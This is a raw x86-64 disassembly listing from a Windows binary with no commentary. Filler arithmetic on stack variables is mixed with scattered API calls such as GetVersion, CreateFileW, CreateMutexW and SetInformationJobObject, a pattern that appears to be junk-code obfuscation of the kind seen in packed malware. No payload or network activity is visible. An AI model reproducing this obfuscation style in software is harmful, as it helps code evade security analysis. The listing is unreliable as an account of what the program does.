lea rax, [rsp + 0xae38]
mov qword [0x1403642a0], rax
lea rdx, [rsp + 0x17070]
mov rcx, qword [rsp + 0x12ef0]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xafe8], eax
mov rax, qword [rsp + 0x16ef8]
mov ecx, dword [rsp + 0x80ac]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x13270]
mov dword [rcx], eax
mov eax, dword [rsp + 0x6bc0]
mov ecx, dword [rsp + 0x85c0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xafac], eax
lea rax, [0x14035cca4]
mov qword [rsp + 0x17078], rax
movzx eax, byte [rsp + 0x5bb]
mov rcx, qword [rsp + 0x13fe8]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x139e0]
mov byte [rcx], al
lea rax, [rsp + 0x2d04]
mov qword [rsp + 0x17080], rax
mov eax, dword [rsp + 0x9cf0]
mov ecx, dword [rsp + 0xa9e4]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x628c], eax
mov eax, dword [rsp + 0x852c]
mov dword [rsp + 0xb434], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xaa94], eax
mov rax, qword [rsp + 0x14278]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x67dc]
shl eax, cl
mov rcx, qword [rsp + 0x154c0]
mov dword [rcx], eax
lea rax, [rsp + 0xb424]
mov qword [0x1403642a8], rax
mov rax, qword [rsp + 0x161d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xad2c]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14e60]
mov dword [rcx], eax
lea rcx, [rsp + 0x41a48]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0x139d8]
movzx eax, word [rax]
mov word [rsp + 0x2ee0], ax
mov rax, qword [rsp + 0x14d60]
movsx eax, byte [rax]
mov rcx, qword [0x140363ce0]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x299], al
lea rax, [rsp + 0x6fd]
mov qword [rsp + 0x17088], rax
mov rax, qword [rsp + 0x164a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2ebc]
and eax, ecx
mov word [rsp + 0x2c80], ax
mov eax, dword [0x140363c90]
mov ecx, dword [rsp + 0xae24]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6b80], eax
mov rax, qword [rsp + 0x162f0]
mov rcx, qword [rsp + 0x14100]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xa658], eax
mov rax, qword [rsp + 0x15098]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xf6]
add eax, ecx
mov rcx, qword [rsp + 0x16700]
mov byte [rcx], al
movzx eax, word [0x140362b9c]
movzx ecx, word [rsp + 0x2b00]
and eax, ecx
mov rcx, qword [0x140363bd0]
mov word [rcx], ax
mov eax, dword [rsp + 0xb2bc]
mov dword [rsp + 0xb438], eax
mov eax, dword [rsp + 0xae6c]
mov ecx, dword [rsp + 0x9674]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14338]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14b50]
mov ecx, dword [rsp + 0xb23c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x14ce8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x9b0c]
mov ecx, dword [rsp + 0xadd4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x76b4], eax
mov rax, qword [rsp + 0x165f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2b00]
sar eax, cl
mov rcx, qword [rsp + 0x16288]
mov word [rcx], ax
lea rax, [rsp + 0x6e4]
mov qword [rsp + 0x17090], rax
mov rcx, qword [rsp + 0x14f40]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov eax, dword [rsp + 0x7c08]
mov rcx, qword [rsp + 0x155c8]
mov qword [rsp + 0x17098], rcx
movzx ecx, al
mov rax, qword [rsp + 0x17098]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xa91c], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xb0a4], eax
mov rax, qword [0x140363b70]
mov eax, dword [rax]
mov dword [rsp + 0xb43c], eax
mov rax, qword [rsp + 0x14d38]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2ec8]
xor eax, ecx
mov word [0x14035ccf4], ax
movsx eax, byte [rsp + 0x238]
movsx ecx, byte [rsp + 0x755]
or eax, ecx
mov rcx, qword [rsp + 0x146d0]
mov byte [rcx], al
movzx eax, word [0x14035ccec]
mov rcx, qword [rsp + 0x15e38]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x14fa0]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xb440], eax
mov rax, qword [rsp + 0x13870]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x737]
sub eax, ecx
mov byte [rsp + 0x620], al
mov rax, qword [rsp + 0x15958]
mov ecx, dword [rsp + 0xae48]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x13c10]
mov dword [rcx], eax
mov rax, qword [rsp + 0x15b28]
mov eax, dword [rax]
mov dword [rsp + 0xb444], eax
lea rcx, [rsp + 0x42048]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov eax, dword [rsp + 0xb38c]
mov ecx, dword [rsp + 0xafac]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x16f80]
mov dword [rcx], eax
mov rax, qword [0x140363eb8]
mov rcx, qword [rsp + 0x15f80]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa884], eax
lea rax, [rsp + 0xae10]
mov qword [rsp + 0x170a0], rax
movzx eax, word [rsp + 0x2ae4]
movzx ecx, word [rsp + 0x14dc]
or eax, ecx
mov rcx, qword [rsp + 0x15008]
mov word [rcx], ax
movzx eax, byte [rsp + 0x59f]
mov rcx, qword [rsp + 0x16a60]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x1403535a2], al
mov rax, qword [rsp + 0x141a0]
mov eax, dword [rax]
mov dword [rsp + 0xb448], eax
mov r9d, 0x13af
xor r8d, r8d
lea rdx, [rsp + 0x16c70]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0xa788], eax
mov rax, qword [rsp + 0x15d78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa904]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13c20]
mov dword [rcx], eax
mov eax, dword [rsp + 0xaa48]
mov ecx, dword [0x140363b40]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x66f8], eax
mov rax, qword [rsp + 0x143d8]
mov ecx, dword [rsp + 0xaab0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x762c], eax
movzx eax, word [rsp + 0x2a14]
movzx ecx, word [rsp + 0x15c0]
sar eax, cl
mov rcx, qword [rsp + 0x16718]
mov word [rcx], ax
movzx eax, byte [rsp + 0x731]
mov byte [rsp + 0x774], al
movsx eax, byte [rsp + 0x758]
movsx ecx, byte [rsp + 0x6c8]
xor eax, ecx
mov rcx, qword [rsp + 0x132b8]
mov byte [rcx], al
mov rax, qword [0x140363af8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2604]
shl eax, cl
mov rcx, qword [rsp + 0x139d8]
mov word [rcx], ax
mov rax, qword [rsp + 0x16080]
mov ecx, dword [rsp + 0xa8c4]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [0x140363b50]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xaee0], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 1
mov edx, 0x40000000
lea rcx, str.MJRw8rzhEe9d1xf3drVy
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x170a8], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xad38], eax
lea rax, [rsp + 0xaacc]
mov qword [rsp + 0x170b0], rax
movzx eax, byte [rsp + 0x23b]
movzx ecx, byte [rsp + 0x767]
and eax, ecx
mov rcx, qword [rsp + 0x165a8]
mov byte [rcx], al
lea rdx, [rsp + 0x46110]
mov rcx, qword [rsp + 0x16b18]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xad88], eax
lea rax, [rsp + 0x1008]
mov qword [rsp + 0x170b8], rax
mov eax, dword [rsp + 0xb084]
mov ecx, dword [rsp + 0x89b8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14ab0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14008]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x97b4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x82d8], eax
mov rcx, qword [rsp + 0x14f70]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x16528]
mov rcx, qword [rsp + 0x169c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xab1c], eax
mov rax, qword [0x140363b60]
mov ecx, dword [rsp + 0x6a98]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x8604], eax
lea rax, [rsp + 0x21e4]
mov qword [rsp + 0x170c0], rax
lea rax, [rsp + 0x76c]
mov qword [0x1403642b0], rax
mov r9d, 2
lea r8, [rsp + 0x14818]
mov rdx, qword [rsp + 0x167d8]
mov rcx, qword [rsp + 0x16b18]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xb294], eax
mov rax, qword [0x140363968]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6960]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x166b8]
mov dword [rcx], eax
lea rax, [rsp + 0xad08]
mov qword [rsp + 0x170c8], rax
mov eax, dword [rsp + 0x8b10]
mov ecx, dword [rsp + 0xb084]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14238]
mov dword [rcx], eax
mov eax, dword [0x140364150]
mov ecx, dword [rsp + 0xaf28]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14848]
mov dword [rcx], eax
mov eax, dword [rsp + 0xad2c]
mov dword [rsp + 0xb44c], eax
mov rax, qword [rsp + 0x15f78]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x14880]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2aa0], ax
lea rax, [rsp + 0x132]
mov qword [rsp + 0x170d0], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x170d8], rax
mov rax, qword [rsp + 0x16d68]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1a6c]
sub eax, ecx
mov word [rsp + 0x2db8], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetInformationJobObject]
mov rax, qword [rsp + 0x14d78]
movzx eax, byte [rax]
mov byte [0x14035e5ad], al
mov eax, dword [rsp + 0x6288]
movzx ecx, al
mov eax, dword [rsp + 0xab98]
shr eax, cl
mov rcx, qword [rsp + 0x14a38]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa7d0]
mov dword [rsp + 0xb450], eax
mov rax, qword [rsp + 0x14f78]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6e0]
xor eax, ecx
mov byte [rsp + 0x6e5], al
mov rax, qword [rsp + 0x169c8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x16cb8]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x10ac], ax
mov r9d, 1
lea r8, [rsp + 0x138f8]
mov rdx, qword [rsp + 0x15268]
mov rcx, qword [rsp + 0x146f0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xaa50], eax
mov eax, dword [rsp + 0x84c8]
mov ecx, dword [rsp + 0xa3f4]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x158f8]
mov dword [rcx], eax
mov eax, dword [rsp + 0xac58]
mov ecx, dword [rsp + 0xafa0]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14e50]
mov dword [rcx], eax
mov eax, dword [rsp + 0xb3a0]
mov dword [rsp + 0xb454], eax
mov rax, qword [rsp + 0x15858]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xaaa8]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x164c0]
mov dword [rcx], eax
movzx eax, word [rsp + 0x2a84]
movzx ecx, word [rsp + 0x2888]
sub eax, ecx
mov rcx, qword [0x140363b98]
mov word [rcx], ax
movzx eax, byte [0x14035e505]
mov rcx, qword [rsp + 0x14f38]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x5e2], al
mov rax, qword [rsp + 0x15ee8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7830]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9134], eax
mov rax, qword [rsp + 0x15a00]
mov eax, dword [rax]
mov dword [rsp + 0xb458], eax
mov rax, qword [0x140363b28]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x15f78]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1d3c], ax
mov rax, qword [rsp + 0x16420]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x400]
and eax, ecx
mov rcx, qword [rsp + 0x16c10]
mov byte [rcx], al
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xb45c], eax
movzx eax, word [0x140362bdc]
mov word [rsp + 0x2ee4], ax
mov rax, qword [rsp + 0x15b70]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13568]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x15770]
mov byte [rcx], al
lea rax, [rsp + 0xaac0]
mov qword [rsp + 0x170e0], rax
mov rax, qword [rsp + 0x16828]
mov eax, dword [rax]
mov dword [0x14036428c], eax
mov rax, qword [rsp + 0x12f20]
mov ecx, dword [rsp + 0xa984]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xae50], eax
mov eax, dword [rsp + 0xac60]
mov rcx, qword [rsp + 0x148c0]
mov qword [rsp + 0x170e8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x170e8]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x70b8], eax
mov rax, qword [rsp + 0x169d8]
mov rcx, qword [0x140363cd0]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x7e30], eax
mov rax, qword [rsp + 0x16cf0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14e48]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x15c0], ax
lea rax, [rsp + 0x76d]
mov qword [rsp + 0x170f0], rax
mov rax, qword [rsp + 0x157f8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8c88]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13380]
mov dword [rcx], eax
mov eax, dword [rsp + 0x7564]
mov ecx, dword [rsp + 0xb104]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14a10]
mov dword [rcx], eax
lea rax, [rsp + 0xb0fc]
mov qword [rsp + 0x170f8], rax
mov eax, dword [rsp + 0xaf90]
mov ecx, dword [rsp + 0x8a38]
or ecx, eax
mov eax, ecx
mov rcx, qword [0x140363b58]
mov dword [rcx], eax
mov rax, qword [rsp + 0x16b70]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2c8]
sub eax, ecx
mov byte [rsp + 0x282], al
lea rax, [rsp + 0x1b0c]
mov qword [rsp + 0x17100], rax
movsx eax, byte [0x1403535ba]
mov rcx, qword [rsp + 0x14340]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x14688]
mov byte [rcx], al
lea rax, [rsp + 0x2c4c]
mov qword [rsp + 0x17108], rax
mov rax, qword [rsp + 0x17078]
mov rcx, qword [rsp + 0x16618]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x13b78]
mov dword [rcx], eax
movzx ecx, word [rsp + 0x2988]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2bbc], ax
mov eax, dword [rsp + 0xb3c0]
mov ecx, dword [0x1403640f8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xac7c], eax
mov rax, qword [rsp + 0x14b98]
movzx eax, word [rax]
mov word [rsp + 0x2ee8], ax
movsx eax, byte [rsp + 0x43e]
movsx ecx, byte [rsp + 0x6b0]
sub eax, ecx
movsx ecx, byte [rsp + 0x40c]
movsx edx, byte [rsp + 0x6b2]
sub ecx, edx
cmp eax, ecx
jne 0x14030c9f8
movzx eax, word [rsp + 0x29a0]
movzx ecx, word [rsp + 0x299c]
sar eax, cl
mov rcx, qword [rsp + 0x13050]
mov word [rcx], ax
mov eax, dword [rsp + 0x8604]
mov dword [rsp + 0xa894], eax
mov eax, dword [rsp + 0xa850]
mov rcx, qword [rsp + 0x12f50]
mov qword [rsp + 0x418c8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x418c8]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x12ee0]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x43e]
movsx ecx, byte [rsp + 0x6b0]
or eax, ecx
mov byte [rsp + 0x6b2], al
mov rcx, qword [rsp + 0x130f8]
call qword [sym.imp.USER32.dll_SetCapture]
mov qword [rsp + 0x131f0], rax
mov rax, qword [rsp + 0x13108]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1784]
and eax, ecx
mov rcx, qword [rsp + 0x13108]
mov word [rcx], ax
mov rax, qword [rsp + 0x13208]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13050]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1cb4], ax
movzx eax, byte [rsp + 0x6b1]
movzx ecx, byte [rsp + 0x43d]
sub eax, ecx
mov byte [rsp + 0x6b3], al
mov rax, qword [rsp + 0x12f48]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa8a0]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x131b0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12f90]
mov rcx, qword [rsp + 0x131b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa808], eax
mov rax, qword [rsp + 0x12f20]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa854]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13090]
mov dword [rcx], eax
mov r8, qword [rsp + 0x418d0]
lea rdx, [rsp + 0x13140]
mov rcx, qword [rsp + 0x13138]
call qword [sym.imp.USER32.dll_FrameRect]
mov dword [rsp + 0xa8bc], eax
mov rax, qword [rsp + 0x12f50]
mov ecx, dword [rsp + 0xa81c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa774], eax
mov rax, qword [rsp + 0x13020]
mov ecx, dword [rsp + 0xa804]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x13188]
mov dword [rcx], eax
mov rax, qword [rsp + 0x131b0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x12f40]
mov qword [rsp + 0x418d8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x418d8]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x12f90]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa894]
mov dword [rsp + 0xa81c], eax
movsx eax, word [rsp + 0x197c]
movsx ecx, word [rsp + 0x1784]
shl eax, cl
mov word [0x140353b08], ax
mov rax, qword [rsp + 0x13060]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6b4]
xor eax, ecx
mov rcx, qword [rsp + 0x12f38]
mov byte [rcx], al
mov r8d, 0xe5
mov edx, 0x57
mov rcx, qword [rsp + 0x12f88]
call qword [sym.imp.USER32.dll_RemoveMenu]
mov dword [rsp + 0xa888], eax
mov rax, qword [rsp + 0x13090]
mov rcx, qword [rsp + 0x12f20]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa884], eax
mov eax, dword [rsp + 0xa884]
mov ecx, dword [rsp + 0xa804]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13020]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x43d]
mov rcx, qword [rsp + 0x12f38]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x13060]
mov byte [rcx], al
mov rax, qword [rsp + 0x13050]
movzx eax, word [rax]
mov word [rsp + 0x299c], ax
movsx eax, byte [rsp + 0x40c]
movsx ecx, byte [rsp + 0x6b2]
and eax, ecx
mov byte [rsp + 0x43e], al
mov rax, qword [rsp + 0x131b8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x13108]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x12fb8]
mov word [rcx], ax
lea rax, [rsp + 0x41998]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x41818]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x12f68]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x4a320]
mov r8d, 0x10
mov edx, 0x20
mov rcx, qword [rsp + 0x12fc8]
call qword [sym.imp.USER32.dll_ScrollDC]
mov dword [rsp + 0x12ebc], eax
mov rax, qword [rsp + 0x131b0]
mov rcx, qword [rsp + 0x12f40]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x12f90]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12ee0]
mov rcx, qword [rsp + 0x12f20]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa850], eax
movzx eax, word [rsp + 0x1cb4]
mov rcx, qword [rsp + 0x13050]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x12fa8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x6b1]
mov rcx, qword [rsp + 0x12f38]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x43d], al
mov rax, qword [rsp + 0x13188]
mov rcx, qword [rsp + 0x13020]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x13188]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13090]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xa81c]
shl eax, cl
mov dword [rsp + 0x8604], eax
mov r8, qword [rsp + 0x418e0]
lea rdx, [rsp + 0x12ee0]
mov rcx, qword [rsp + 0x131e0]
call qword [sym.imp.USER32.dll_FrameRect]
mov dword [rsp + 0xa81c], eax
movzx eax, word [rsp + 0x2484]
mov word [rsp + 0x299c], ax
movzx eax, byte [rsp + 0x6b1]
movzx ecx, byte [rsp + 0x6b4]
sar eax, cl
mov rcx, qword [rsp + 0x13060]
mov byte [rcx], al
mov rax, qword [rsp + 0x12f90]
mov ecx, dword [rsp + 0xa808]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x12f90]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12f38]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6b4]
or eax, ecx
mov byte [0x14035e48e], al
mov rax, qword [rsp + 0x12fb8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x130e8]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x12fb8]
mov word [rcx], ax
mov rax, qword [rsp + 0x130e8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x197c]
and eax, ecx
mov word [rsp + 0x1784], ax
mov rax, qword [rsp + 0x13020]
mov ecx, dword [rsp + 0xa854]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x13090]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12fa8]
movzx eax, word [rax]
mov word [rsp + 0x299c], ax
mov rax, qword [rsp + 0x12f38]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x43d]
and eax, ecx
mov rcx, qword [rsp + 0x13060]
mov byte [rcx], al
lea r8, [rsp + 0xa80c]
lea rdx, [rsp + 0x418e8]
lea rcx, [rsp + 0xa83c]
call qword [sym.imp.ole32.dll_CoFileTimeToDosDateTime]
mov dword [rsp + 0xa824], eax
mov rax, qword [rsp + 0x12f48]
mov rcx, qword [rsp + 0x12f90]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x12f40]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13090]
mov rcx, qword [rsp + 0x12f50]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa810], eax
mov eax, dword [rsp + 0xa854]
mov ecx, dword [rsp + 0xa81c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12f50]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12f40]
mov rcx, qword [rsp + 0x12f90]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x14035cbd8], eax
mov rax, qword [rsp + 0x13060]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x12f38]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x43d], al
movzx eax, word [rsp + 0x2484]
movzx ecx, word [rsp + 0x298c]
and eax, ecx
mov rcx, qword [rsp + 0x12fe8]
mov word [rcx], ax
mov dword [rsp + 0x20], 0xb8
mov r9d, 0xd8
mov r8, qword [rsp + 0x418f0]
mov edx, 0x8a
mov rcx, qword [rsp + 0x12f70]
call qword [sym.imp.USER32.dll_GetMenuStringW]
mov dword [rsp + 0xa7d8], eax
movsx eax, word [rsp + 0x2990]
movsx ecx, word [rsp + 0x1784]
or eax, ecx
mov rcx, qword [rsp + 0x12fb8]
mov word [rcx], ax
jmp 0x14030d25f
mov rax, qword [rsp + 0x13090]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa810]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa774], eax
mov r8d, 0x8a
mov rdx, qword [rsp + 0x12f30]
mov rcx, qword [rsp + 0x12ed8]
call qword [sym.imp.COMCTL32.dll_DrawInsert]
mov rax, qword [rsp + 0x12f20]
mov ecx, dword [rsp + 0xa854]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x12ee0]
mov dword [rcx], eax
jmp 0x14030d25f
mov rax, qword [rsp + 0x12fb8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2990]
shl eax, cl
mov word [rsp + 0x197c], ax
mov eax, dword [rsp + 0xa7dc]
movzx ecx, al
mov eax, dword [0x14035cbd8]
shr eax, cl
mov rcx, qword [rsp + 0x12f48]
mov dword [rcx], eax
movzx eax, word [rsp + 0x298c]
movzx ecx, word [rsp + 0x299c]
or eax, ecx
mov word [0x140362afc], ax
jmp 0x14030d25f
mov rax, qword [rsp + 0x13060]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x12f38]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x13060]
mov byte [rcx], al
mov rax, qword [rsp + 0x12f48]
mov rcx, qword [rsp + 0x12f90]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa7d0], eax
lea rax, [rsp + 0x12f38]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0xa848]
mov r8d, 0x6e
mov edx, 0x71
mov ecx, 0x87
call qword [sym.imp.ole32.dll_CoWaitForMultipleHandles]
mov dword [rsp + 0xa898], eax
mov rax, qword [rsp + 0x12ee0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa804]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12f50]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12fe8]
movzx eax, word [rax]
mov word [rsp + 0x299c], ax
mov rax, qword [rsp + 0x13060]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6b3]
and eax, ecx
mov byte [rsp + 0x6b1], al
jmp 0x14030d25f
mov rax, qword [rsp + 0x12f90]
mov rcx, qword [rsp + 0x12f48]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x12f40]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12f50]
mov eax, dword [rax]
mov dword [rsp + 0xa894], eax
mov rax, qword [rsp + 0x13020]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8604]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13090]
mov dword [rcx], eax
lea rdx, [rsp + 0x130e8]
mov ecx, 0x10
call qword [sym.imp.USER32.dll_GetGUIThreadInfo]
mov dword [rsp + 0xa838], eax
mov rax, qword [rsp + 0x12f40]
mov rcx, qword [rsp + 0x12f48]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x12f90]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x6b1]
movzx ecx, byte [rsp + 0x6b3]
sub eax, ecx
mov byte [rsp + 0x6b4], al
movzx eax, word [rsp + 0x299c]
movzx ecx, word [rsp + 0x2484]
and eax, ecx
mov word [rsp + 0x298c], ax
mov rax, qword [rsp + 0x12f20]
